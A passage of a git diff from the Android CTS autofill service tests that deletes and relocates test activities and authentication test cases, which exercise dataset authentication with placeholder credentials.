-public abstract class AbstractWebViewTestCase<A extends AbstractWebViewActivity>
-        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
-
-    protected AbstractWebViewTestCase() {
-    }
-
-    protected AbstractWebViewTestCase(UiBot inlineUiBot) {
-        super(inlineUiBot);
-    }
-
-    // TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
-    // set using accessibility.
-    protected static final boolean INJECT_EVENTS = true;
-
-    @BeforeClass
-    public static void setReplierMode() {
-        sReplier.setIdMode(IdMode.HTML_NAME);
-    }
-
-    @AfterClass
-    public static void resetReplierMode() {
-        sReplier.setIdMode(IdMode.RESOURCE_ID);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AllAutofillableViewsActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AllAutofillableViewsActivity.java
deleted file mode 100644
index 10cc322..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AllAutofillableViewsActivity.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import androidx.annotation.Nullable;
-
-public class AllAutofillableViewsActivity extends AbstractAutoFillActivity {
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.all_autofill_able_views_activity);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java
deleted file mode 100644
index af713d3..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.text.Editable;
-import android.text.TextWatcher;
-import android.widget.EditText;
-
-import java.util.regex.Pattern;
-
-/**
- * A {@link TextWatcher} that appends pound signs ({@code #} at the beginning and end of the text.
- */
-public final class AntiTrimmerTextWatcher implements TextWatcher {
-
-    /**
-     * Regex used to revert a String that was "anti-trimmed".
-     */
-    public static final Pattern TRIMMER_PATTERN = Pattern.compile("#(.*)#");
-
-    private final EditText mView;
-
-    public AntiTrimmerTextWatcher(EditText view) {
-        mView = view;
-        mView.addTextChangedListener(this);
-    }
-
-    @Override
-    public void onTextChanged(CharSequence s, int start, int before, int count) {
-        mView.removeTextChangedListener(this);
-        mView.setText("#" + s + "#");
-    }
-
-    @Override
-    public void beforeTextChanged(CharSequence s, int start, int count, int after) {
-    }
-
-    @Override
-    public void afterTextChanged(Editable s) {
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java
deleted file mode 100644
index 097967e..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.content.Context;
-import android.content.res.Configuration;
-import android.content.res.Resources;
-import android.os.Bundle;
-import android.widget.EditText;
-
-import java.util.Locale;
-
-/**
- * Simple activity that attaches a new base context.
- */
-public class AttachedContextActivity extends AbstractAutoFillActivity {
-    static final String ID_INPUT = "input";
-
-    EditText mInput;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.simple_save_activity);
-
-        mInput = findViewById(R.id.input);
-    }
-
-    @Override
-    protected void attachBaseContext(Context newBase) {
-        final Context localContext = applyLocale(newBase, "en");
-        super.attachBaseContext(localContext);
-    }
-
-    private Context applyLocale(Context context, String language) {
-        final Resources resources = context.getResources();
-        final Configuration configuration = resources.getConfiguration();
-        configuration.setLocale(new Locale(language));
-        return context.createConfigurationContext(configuration);
-    }
-
-    FillExpectation expectAutoFill(String input) {
-        final FillExpectation expectation = new FillExpectation(input);
-        mInput.addTextChangedListener(expectation.mInputWatcher);
-        return expectation;
-    }
-
-    final class FillExpectation {
-        private final OneTimeTextWatcher mInputWatcher;
-
-        private FillExpectation(String input) {
-            mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
-        }
-
-        void assertAutoFilled() throws Exception {
-            mInputWatcher.assertAutoFilled();
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
index 97ed220..9d2f2b3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
@@ -16,7 +16,11 @@
 
 package android.autofillservice.cts;
 
-import android.autofillservice.cts.AttachedContextActivity.FillExpectation;
+import android.autofillservice.cts.activities.AttachedContextActivity;
+import android.autofillservice.cts.activities.AttachedContextActivity.FillExpectation;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
 
 import org.junit.Test;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
deleted file mode 100644
index 7ddfccc..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ /dev/null
@@ -1,287 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.ResponseType.NULL;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.Activity;
-import android.app.PendingIntent;
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.Parcelable;
-import android.util.Log;
-import android.util.SparseArray;
-import android.view.autofill.AutofillManager;
-import android.widget.Button;
-import android.widget.EditText;
-
-import com.google.common.base.Preconditions;
-
-import java.util.ArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * This class simulates authentication at the dataset at reponse level
- */
-public class AuthenticationActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "AuthenticationActivity";
-    private static final String EXTRA_DATASET_ID = "dataset_id";
-    private static final String EXTRA_RESPONSE_ID = "response_id";
-
-    /**
-     * When launched with this intent, it will pass it back to the
-     * {@link AutofillManager#EXTRA_CLIENT_STATE} of the result.
-     */
-    private static final String EXTRA_OUTPUT_CLIENT_STATE = "output_client_state";
-
-
-    private static final int MSG_WAIT_FOR_LATCH = 1;
-    private static final int MSG_REQUEST_AUTOFILL = 2;
-
-    private static Bundle sData;
-    private static final SparseArray<CannedDataset> sDatasets = new SparseArray<>();
-    private static final SparseArray<CannedFillResponse> sResponses = new SparseArray<>();
-    private static final ArrayList<PendingIntent> sPendingIntents = new ArrayList<>();
-
-    private static Object sLock = new Object();
-
-    // Guarded by sLock
-    private static int sResultCode;
-
-    // Guarded by sLock
-    // Used to block response until it's counted down.
-    private static CountDownLatch sResponseLatch;
-
-    // Guarded by sLock
-    // Used to request autofill for a autofillable view in AuthenticationActivity
-    private static boolean sRequestAutofill;
-
-    private Handler mHandler;
-
-    private EditText mPasswordEditText;
-    private Button mYesButton;
-
-    static void resetStaticState() {
-        setResultCode(null, RESULT_OK);
-        setRequestAutofillForAuthenticationActivity(/* requestAutofill */ false);
-        sDatasets.clear();
-        sResponses.clear();
-        for (int i = 0; i < sPendingIntents.size(); i++) {
-            final PendingIntent pendingIntent = sPendingIntents.get(i);
-            Log.d(TAG, "Cancelling " + pendingIntent);
-            pendingIntent.cancel();
-        }
-    }
-
-    /**
-     * Creates an {@link IntentSender} with the given unique id for the given dataset.
-     */
-    public static IntentSender createSender(Context context, int id, CannedDataset dataset) {
-        return createSender(context, id, dataset, null);
-    }
-
-    public static IntentSender createSender(Context context, int id,
-            CannedDataset dataset, Bundle outClientState) {
-        Preconditions.checkArgument(id > 0, "id must be positive");
-        Preconditions.checkState(sDatasets.get(id) == null, "already have id");
-        sDatasets.put(id, dataset);
-        return createSender(context, EXTRA_DATASET_ID, id, outClientState);
-    }
-
-    /**
-     * Creates an {@link IntentSender} with the given unique id for the given fill response.
-     */
-    public static IntentSender createSender(Context context, int id,
-            CannedFillResponse response) {
-        return createSender(context, id, response, null);
-    }
-
-    public static IntentSender createSender(Context context, int id,
-            CannedFillResponse response, Bundle outData) {
-        Preconditions.checkArgument(id > 0, "id must be positive");
-        Preconditions.checkState(sResponses.get(id) == null, "already have id");
-        sResponses.put(id, response);
-        return createSender(context, EXTRA_RESPONSE_ID, id, outData);
-    }
-
-    private static IntentSender createSender(Context context, String extraName, int id,
-            Bundle outClientState) {
-        final Intent intent = new Intent(context, AuthenticationActivity.class);
-        intent.putExtra(extraName, id);
-        if (outClientState != null) {
-            Log.d(TAG, "Create with " + outClientState + " as " + EXTRA_OUTPUT_CLIENT_STATE);
-            intent.putExtra(EXTRA_OUTPUT_CLIENT_STATE, outClientState);
-        }
-        final PendingIntent pendingIntent = PendingIntent.getActivity(context, id, intent, 0);
-        sPendingIntents.add(pendingIntent);
-        return pendingIntent.getIntentSender();
-    }
-
-    /**
-     * Creates an {@link IntentSender} with the given unique id.
-     */
-    public static IntentSender createSender(Context context, int id) {
-        Preconditions.checkArgument(id > 0, "id must be positive");
-        return PendingIntent
-                .getActivity(context, id, new Intent(context, AuthenticationActivity.class),
-                        PendingIntent.FLAG_CANCEL_CURRENT)
-                .getIntentSender();
-    }
-
-    public static Bundle getData() {
-        final Bundle data = sData;
-        sData = null;
-        return data;
-    }
-
-    /**
-     * Sets the value that's passed to {@link Activity#setResult(int, Intent)} when on
-     * {@link Activity#onCreate(Bundle)}.
-     */
-    public static void setResultCode(int resultCode) {
-        synchronized (sLock) {
-            sResultCode = resultCode;
-        }
-    }
-
-    /**
-     * Sets the value that's passed to {@link Activity#setResult(int, Intent)}, but only calls it
-     * after the {@code latch}'s countdown reaches {@code 0}.
-     */
-    public static void setResultCode(CountDownLatch latch, int resultCode) {
-        synchronized (sLock) {
-            sResponseLatch = latch;
-            sResultCode = resultCode;
-        }
-    }
-
-    public static void setRequestAutofillForAuthenticationActivity(boolean requestAutofill) {
-        synchronized (sLock) {
-            sRequestAutofill = requestAutofill;
-        }
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.authentication_activity);
-
-        mPasswordEditText = findViewById(R.id.password);
-        mYesButton = findViewById(R.id.yes);
-        mYesButton.setOnClickListener(view -> doIt());
-
-        mHandler = new Handler(Looper.getMainLooper(), (m) -> {
-            switch (m.what) {
-                case MSG_WAIT_FOR_LATCH:
-                    waitForLatchAndDoIt();
-                    break;
-                case MSG_REQUEST_AUTOFILL:
-                    requestFocusOnPassword();
-                    break;
-                default:
-                    throw new IllegalArgumentException("invalid message: " + m);
-            }
-            return true;
-        });
-
-        if (sResponseLatch != null) {
-            Log.d(TAG, "Delaying message until latch is counted down");
-            mHandler.dispatchMessage(mHandler.obtainMessage(MSG_WAIT_FOR_LATCH));
-        } else if (sRequestAutofill) {
-            mHandler.dispatchMessage(mHandler.obtainMessage(MSG_REQUEST_AUTOFILL));
-        } else {
-            doIt();
-        }
-    }
-
-    private void requestFocusOnPassword() {
-        syncRunOnUiThread(() -> mPasswordEditText.requestFocus());
-    }
-
-    private void waitForLatchAndDoIt() {
-        try {
-            final boolean called = sResponseLatch.await(5, TimeUnit.SECONDS);
-            if (!called) {
-                throw new IllegalStateException("latch not called in 5 seconds");
-            }
-            doIt();
-        } catch (InterruptedException e) {
-            Thread.interrupted();
-            throw new IllegalStateException("interrupted");
-        }
-    }
-
-    private void doIt() {
-        // We should get the assist structure...
-        final AssistStructure structure = getIntent().getParcelableExtra(
-                AutofillManager.EXTRA_ASSIST_STRUCTURE);
-        assertWithMessage("structure not called").that(structure).isNotNull();
-
-        // and the bundle
-        sData = getIntent().getBundleExtra(AutofillManager.EXTRA_CLIENT_STATE);
-        final CannedFillResponse response =
-                sResponses.get(getIntent().getIntExtra(EXTRA_RESPONSE_ID, 0));
-        final CannedDataset dataset =
-                sDatasets.get(getIntent().getIntExtra(EXTRA_DATASET_ID, 0));
-
-        final Parcelable result;
-
-        if (response != null) {
-            if (response.getResponseType() == NULL) {
-                result = null;
-            } else {
-                result = response.asFillResponse(/* contexts= */ null,
-                        (id) -> Helper.findNodeByResourceId(structure, id));
-            }
-        } else if (dataset != null) {
-            result = dataset.asDataset((id) -> Helper.findNodeByResourceId(structure, id));
-        } else {
-            throw new IllegalStateException("no dataset or response");
-        }
-
-        // Pass on the auth result
-        final Intent intent = new Intent();
-        intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
-
-        final Bundle outClientState = getIntent().getBundleExtra(EXTRA_OUTPUT_CLIENT_STATE);
-        if (outClientState != null) {
-            Log.d(TAG, "Adding " + outClientState + " as " + AutofillManager.EXTRA_CLIENT_STATE);
-            intent.putExtra(AutofillManager.EXTRA_CLIENT_STATE, outClientState);
-        }
-
-        final int resultCode;
-        synchronized (sLock) {
-            resultCode = sResultCode;
-        }
-        Log.d(TAG, "Returning code " + resultCode);
-        setResult(resultCode, intent);
-
-        // Done
-        finish();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java
deleted file mode 100644
index 200e184..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java
+++ /dev/null
@@ -1,1192 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.app.Activity.RESULT_CANCELED;
-import static android.app.Activity.RESULT_OK;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillValue;
-
-import org.junit.Test;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.regex.Pattern;
-
-public class AuthenticationTest extends AbstractLoginActivityTestCase {
-
-    @Test
-    public void testDatasetAuthTwoFields() throws Exception {
-        datasetAuthTwoFields(false);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthTwoFieldsUserCancelsFirstAttempt() throws Exception {
-        datasetAuthTwoFields(true);
-    }
-
-    private void datasetAuthTwoFields(boolean cancelFirstAttempt) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // Make sure UI is show on 2nd field as well
-        final View password = mActivity.getPassword();
-        requestFocusOnPassword();
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(password);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // Now tap on 1st field to show it again...
-        requestFocusOnUsername();
-        callback.assertUiHiddenEvent(password);
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        if (cancelFirstAttempt) {
-            // Trigger the auth dialog, but emulate cancel.
-            AuthenticationActivity.setResultCode(RESULT_CANCELED);
-            mUiBot.selectDataset("Tap to auth dataset");
-            callback.assertUiHiddenEvent(username);
-            callback.assertUiShownEvent(username);
-            mUiBot.assertDatasets("Tap to auth dataset");
-
-            // Make sure it's still shown on other fields...
-            requestFocusOnPassword();
-            callback.assertUiHiddenEvent(username);
-            callback.assertUiShownEvent(password);
-            mUiBot.assertDatasets("Tap to auth dataset");
-
-            // Tap on 1st field to show it again...
-            requestFocusOnUsername();
-            callback.assertUiHiddenEvent(password);
-            callback.assertUiShownEvent(username);
-        }
-
-        // ...and select it this time
-        AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("Tap to auth dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthTwoFieldsReplaceResponse() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "dude")
-                                .setField(ID_PASSWORD, "sweet")
-                                .setPresentation(createPresentation("Dataset"))
-                                .build())
-                        .build());
-
-        // Set up the authentication response client state
-        final Bundle authentionClientState = new Bundle();
-        authentionClientState.putCharSequence("clientStateKey1", "clientStateValue1");
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, (AutofillValue) null)
-                        .setField(ID_PASSWORD, (AutofillValue) null)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .setExtras(authentionClientState)
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Authenticate
-        callback.assertUiShownEvent(username);
-        mUiBot.selectDataset("Tap to auth dataset");
-        callback.assertUiHiddenEvent(username);
-
-        // Select a dataset from the new response
-        callback.assertUiShownEvent(username);
-        mUiBot.selectDataset("Dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        final Bundle data = AuthenticationActivity.getData();
-        assertThat(data).isNotNull();
-        final String extraValue = data.getString("clientStateKey1");
-        assertThat(extraValue).isEqualTo("clientStateValue1");
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthTwoFieldsNoValues() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intent
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, (String) null)
-                        .setField(ID_PASSWORD, (String) null)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Authenticate
-        callback.assertUiShownEvent(username);
-        mUiBot.selectDataset("Tap to auth dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthTwoDatasets() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intents
-        final CannedDataset unlockedDataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .build();
-        final IntentSender authentication1 = AuthenticationActivity.createSender(mContext, 1,
-                unlockedDataset);
-        final IntentSender authentication2 = AuthenticationActivity.createSender(mContext, 2,
-                unlockedDataset);
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset 1"))
-                        .setAuthentication(authentication1)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset 2"))
-                        .setAuthentication(authentication2)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Authenticate
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset 1", "Tap to auth dataset 2");
-
-        mUiBot.selectDataset("Tap to auth dataset 1");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthMixedSelectAuth() throws Exception {
-        datasetAuthMixedTest(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
-    public void testDatasetAuthMixedSelectNonAuth() throws Exception {
-        datasetAuthMixedTest(false);
-    }
-
-    private void datasetAuthMixedTest(boolean selectAuth) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE")
-                        .setField(ID_PASSWORD, "SWEET")
-                        .setPresentation(createPresentation("What, me auth?"))
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        if (selectAuth) {
-            mActivity.expectAutoFill("dude", "sweet");
-        } else {
-            mActivity.expectAutoFill("DUDE", "SWEET");
-        }
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Authenticate
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
-
-        final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
-        mUiBot.selectDataset(chosenOne);
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
-    public void testDatasetAuthNoFiltering() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intents
-        final CannedDataset unlockedDataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .build();
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                unlockedDataset);
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Make sure it's showing initially...
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // ..then type something to hide it.
-        mActivity.onUsername((v) -> v.setText("a"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Now delete the char and assert it's shown again...
-        mActivity.onUsername((v) -> v.setText(""));
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // ...and select it this time
-        mUiBot.selectDataset("Tap to auth dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
-    public void testDatasetAuthFilteringUsingAutofillValue() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intents
-        final CannedDataset unlockedDataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .build();
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                unlockedDataset);
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("DS1"))
-                        .setAuthentication(authentication)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE,THE")
